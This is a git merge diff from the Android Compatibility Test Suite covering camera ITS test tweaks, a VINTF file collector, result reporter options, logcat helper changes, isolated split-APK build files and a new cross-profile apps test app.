Merge "CTS test for preferred phone account columns"
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
index 10e100d..343c960 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
@@ -38,6 +38,9 @@
         e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
         req = its.objects.manual_capture_request(s, e, 0.0, True, props)
 
+        if 0 in props['android.shading.availableModes']:
+            req["android.shading.mode"] = 0
+
         max_raw_size = \
                 its.objects.get_available_output_sizes("raw", props)[0]
         w,h = its.objects.get_available_output_sizes(
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
index be5f701..6ecdca7 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
@@ -38,6 +38,9 @@
         e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
         req = its.objects.manual_capture_request(s, e, 0.0, True, props)
 
+        if 0 in props['android.shading.availableModes']:
+            req["android.shading.mode"] = 0
+
         max_raw10_size = \
                 its.objects.get_available_output_sizes("raw10", props)[0]
         w,h = its.objects.get_available_output_sizes(
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 86d96f1..197f62a 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -56,7 +56,8 @@
     template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
 
     # take img, crop chart, scale and prep for cv2 template match
-    req = its.objects.auto_capture_request()
+    s, e, _, _, fd = cam.do_3a(get_results=True)
+    req = its.objects.manual_capture_request(s, e, fd)
     cap = cam.do_capture(req, fmt)
     y, _, _ = its.image.convert_capture_to_planes(cap, props)
     y = its.image.rotate_img_per_argv(y)
@@ -65,6 +66,9 @@
     patch = 255 * its.cv2image.gray_scale_img(patch)
     patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
 
+    # sanity check on image
+    assert np.max(patch)-np.min(patch) > 255/8
+
     # save full images if in debug
     if debug:
         its.image.write_image(template[:, :, np.newaxis]/255.0,
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
index 750e45f..c48d16f 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
@@ -64,15 +64,23 @@
 
     Set<String> mActivityList = new HashSet<String>();
 
+    static File makeResultDir() {
+        final File dir = new File(Environment.getExternalStorageDirectory(), "device-info-files");
+        if (!dir.mkdirs() && !dir.isDirectory()) {
+            return null;
+        }
+        return dir;
+    }
+
     public void testCollectDeviceInfo() throws Exception {
         if (!mActivityList.contains(getClass().getName())) {
             return;
         }
 
-        final File dir = new File(Environment.getExternalStorageDirectory(), "device-info-files");
+        final File dir;
         if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
             failed("External storage is not mounted");
-        } else if (!dir.mkdirs() && !dir.isDirectory()) {
+        } else if ((dir = makeResultDir()) == null) {
             failed("Cannot create directory for device info files");
         } else {
             try {
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java
new file mode 100644
index 0000000..89997f0
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.deviceinfo;
+
+import android.test.InstrumentationTestCase;
+import android.os.Environment;
+import android.os.Build;
+import android.os.VintfObject;
+import com.google.common.collect.ImmutableMap;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.StringReader;
+import java.io.Writer;
+import java.util.Map;
+import java.util.function.Supplier;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Device-side VINTF files collector. Uses {@link android.os.VintfObject} to collect VINTF manifests
+ * and compatibility matrices.
+ */
+public final class VintfFilesCollector extends InstrumentationTestCase {
+
+    private static final String FRAMEWORK_MANIFEST_NAME = "framework_manifest.xml";
+    private static final String FRAMEWORK_MATRIX_NAME = "framework_compatibility_matrix.xml";
+    private static final String DEVICE_MANIFEST_NAME = "device_manifest.xml";
+    private static final String DEVICE_MATRIX_NAME = "device_compatibility_matrix.xml";
+
+    public void testCollectVintfFiles() throws Exception {
+
+        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
+            // No VINTF before O.
+            return;
+        }
+
+        assertTrue("External storage is not mounted",
+                Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
+        File dir = DeviceInfo.makeResultDir();
+        assertNotNull("Cannot create directory for device info files", dir);
+        collect(dir);
+    }
+
+
+    // report() doesn't distinguish the four XML Strings, so we have to guess.
+    private static void collect(File dir) throws Exception {
+        for (String content : VintfObject.report()) {
+            String fileName = guessFileName(content);
+            if (fileName != null) {
+                writeStringToFile(content, new File(dir, fileName));
+            }
+        }
+    }
+
+    private static void writeStringToFile(String content, File file) throws Exception {
+        if (content == null || content.isEmpty()) {
+            return;
+        }
+        try (Writer os = new FileWriter(file)) {
+            os.write(content);
+        }
+    }
+
+    // Guess a suitable file name for the given XML string. Return null if
+    // it is not an XML string, or no suitable names can be provided.
+    private static String guessFileName(String content) throws Exception {
+        try {
+            XmlPullParser parser = XmlPullParserFactory.newInstance().newPullParser();
+            parser.setInput(new StringReader(content));
+
+            for (int eventType = parser.getEventType(); eventType != XmlPullParser.END_DOCUMENT;
+                 eventType = parser.next()) {
+
+                if (eventType == XmlPullParser.START_TAG) {
+                    String tag = parser.getName();
+                    if (parser.getDepth() != 1) {
+                        continue; // only parse top level tags
+                    }
+
+                    String type = parser.getAttributeValue(null, "type");
+                    if ("manifest".equals(tag)) {
+                        if ("framework".equals(type)) {
+                            return FRAMEWORK_MANIFEST_NAME;
+                        }
+                        if ("device".equals(type)) {
+                            return DEVICE_MANIFEST_NAME;
+                        }
+                    }
+                    if ("compatibility-matrix".equals(tag)) {
+                        if ("framework".equals(type)) {
+                            return FRAMEWORK_MATRIX_NAME;
+                        }
+                        if ("device".equals(type)) {
+                            return DEVICE_MATRIX_NAME;
+                        }
+                    }
+                }
+            }
+        } catch (XmlPullParserException ex) {
+            return null;
+        }
+        return null;
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index c9e8d90..48ed864 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -233,18 +233,6 @@
     }
 
     /**
-     * @return a {@link File} representing the directory to store screenshots taken while testing.
-     * @throws FileNotFoundException if the directory structure is not valid.
-     */
-    public File getScreenshotsDir() throws FileNotFoundException {
-        File screenshotsDir = new File(getResultDir(), "screenshots");
-        if (!screenshotsDir.exists()) {
-            screenshotsDir.mkdirs();
-        }
-        return screenshotsDir;
-    }
-
-    /**
      * @return a {@link File} representing the test modules directory.
      * @throws FileNotFoundException if the directory structure is not valid.
      */
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 4448b91..51f8c06 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -84,6 +84,7 @@
 public class ResultReporter implements ILogSaverListener, ITestInvocationListener,
        ITestSummaryListener, IShardableListener {
 
+    public static final String INCLUDE_HTML_IN_ZIP = "html-in-zip";
     private static final String UNKNOWN_DEVICE = "unknown_device";
     private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
     private static final String CTS_PREFIX = "cts:";
@@ -133,6 +134,10 @@
     @Option(name = "compress-logs", description = "Whether logs will be saved with compression")
     private boolean mCompressLogs = true;
 
+    @Option(name = INCLUDE_HTML_IN_ZIP,
+            description = "Whether failure summary report is included in the zip fie.")
+    private boolean mIncludeHtml = false;
+
     private CompatibilityBuildHelper mBuildHelper;
     private File mResultDir = null;
     private File mLogDir = null;
@@ -540,10 +545,17 @@
                 copyRetryFiles(ResultHandler.getResultDirectory(
                         mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
             }
+            File failureReport = null;
+            if (mIncludeHtml) {
+                // Create the html report before the zip file.
+                failureReport = ResultHandler.createFailureReport(resultFile);
+            }
             File zippedResults = zipResults(mResultDir);
-            // Create failure report after zip file so extra data is not uploaded
-            File failureReport = ResultHandler.createFailureReport(resultFile);
-            if (failureReport.exists()) {
+            if (!mIncludeHtml) {
+                // Create failure report after zip file so extra data is not uploaded
+                failureReport = ResultHandler.createFailureReport(resultFile);
+            }
+            if (failureReport != null && failureReport.exists()) {
                 info("Test Result: %s", failureReport.getCanonicalPath());
             } else {
                 info("Test Result: %s", resultFile.getCanonicalPath());
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 673527d..87f2436 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -115,6 +115,11 @@
             importance = Importance.NEVER)
     private String mAbiName = null;
 
+    @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
+            description = "the subplan used in the previous session",
+            importance = Importance.NEVER)
+    private String mLastSubPlan;
+
     File mSubPlanFile = null;
     IInvocationResult mResult = null;
 
@@ -214,6 +219,11 @@
         // add filters from previous session to track which tests must run
         subPlan.addAllIncludeFilters(mIncludeFilters);
         subPlan.addAllExcludeFilters(mExcludeFilters);
+        if (mLastSubPlan != null) {
+            ISubPlan lastSubPlan = SubPlanHelper.getSubPlanByName(buildHelper, mLastSubPlan);
+            subPlan.addAllIncludeFilters(lastSubPlan.getIncludeFilters());
+            subPlan.addAllExcludeFilters(lastSubPlan.getExcludeFilters());
+        }
         if (mModuleName != null) {
             addIncludeToSubPlan(subPlan, new TestFilter(mAbiName, mModuleName, mTestName));
         }
diff --git a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
index 8b64c67..ed82307 100644
--- a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
+++ b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
@@ -25,31 +25,27 @@
     protected abstract InputStream executeShellCommand(String command) throws IOException;
 
     /**
-     * Attempts to clear logcat and logs an unique string using tag {@param tag}.
-     *
-     * <p>Clearing logcat is known to be unreliable. This unique string is returned and can be used
-     * to find this point in the log even if clearing failed.
+     * Logs an unique string using tag {@param tag} and wait until it appears to continue execution.
      *
      * @return a unique separator string.
      * @throws IOException if error while executing command.
      */
-    public String clearAndMark(String tag) throws IOException {
-        executeShellCommand("logcat -c");
+    public String mark(String tag) throws IOException {
         String uniqueString = ":::" + UUID.randomUUID().toString();
         executeShellCommand("log -t " + tag + " " + uniqueString);
         // This is to guarantee that we only return after the string has been logged, otherwise
         // in practice the case where calling Log.?(<message1>) right after clearAndMark() resulted
         // in <message1> appearing before the unique identifier. It's not guaranteed per the docs
-        // that log command will have written when returning, so better be safe. 3s should be fine.
-        assertLogcatContainsInOrder(tag + ":* *:S", 3, uniqueString);
+        // that log command will have written when returning, so better be safe. 5s should be fine.
+        assertLogcatContainsInOrder(tag + ":* *:S", 5, uniqueString);
         return uniqueString;
     }
 
     /**
      * Wait for up to {@param maxTimeoutInSeconds} for the given {@param logcatStrings} strings to
      * appear in logcat in the given order. By passing the separator returned by {@link
-     * #clearAndMark(String)} as the first string you can ensure that only logs emitted after that
-     * call to clearAndMark() are found. Repeated strings are not supported.
+     * #mark(String)} as the first string you can ensure that only logs emitted after that
+     * call to mark() are found. Repeated strings are not supported.
      *
      * @throws AssertionError if the strings are not found in the given time.
      * @throws IOException if error while reading.
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 0834642..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
 
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_SDK_VERSION := current
 
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
-# Tag this module as a cts test artifact
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# Build the other splits.
 include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 48b4e3b..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_a"
         featureSplit="feature_a">
 
     <application>
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".FeatureAActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
+        <receiver android:name=".FeatureAReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 64b5fc3..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base and feature A.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x81
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_b"
         featureSplit="feature_b">
 
     <uses-split android:name="feature_a" />
 
     <application>
-        <activity android:name=".feature_b.FeatureBActivity">
+        <activity android:name=".FeatureBActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
+        <receiver android:name=".FeatureBReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index f21d1d0..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_c"
         featureSplit="feature_c">
 
     <application>
-        <activity android:name=".feature_c.FeatureCActivity">
+        <activity android:name=".FeatureCActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_c.FeatureCReceiver">
+        <receiver android:name=".FeatureCReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
 @RunWith(AndroidJUnit4.class)
 public class SplitAppTest {
     private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
     private static final ComponentName FEATURE_A_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
     private static final ComponentName FEATURE_B_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
     private static final ComponentName FEATURE_C_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
-    private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
-    private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
-    private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+    private static final String FEATURE_A_STRING =
+            "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+    private static final String FEATURE_B_STRING =
+            "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+    private static final String FEATURE_C_STRING =
+            "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
 
     private static final Configuration PL = new Configuration();
     static {
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
new file mode 100644
index 0000000..fca48d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	android-support-test \
+	legacy-android-test \
+	truth-prebuilt \
+	ub-uiautomator
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
new file mode 100644
index 0000000..79093d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.crossprofileappstest">
+
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".MainActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonMainActivity" android:exported="true"/>
+
+        <activity android:name=".NonExportedActivity" android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.crossprofileappstest"
+                     android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
new file mode 100644
index 0000000..877d890
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/user_textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
new file mode 100644
index 0000000..3ade25a
--- /dev/null
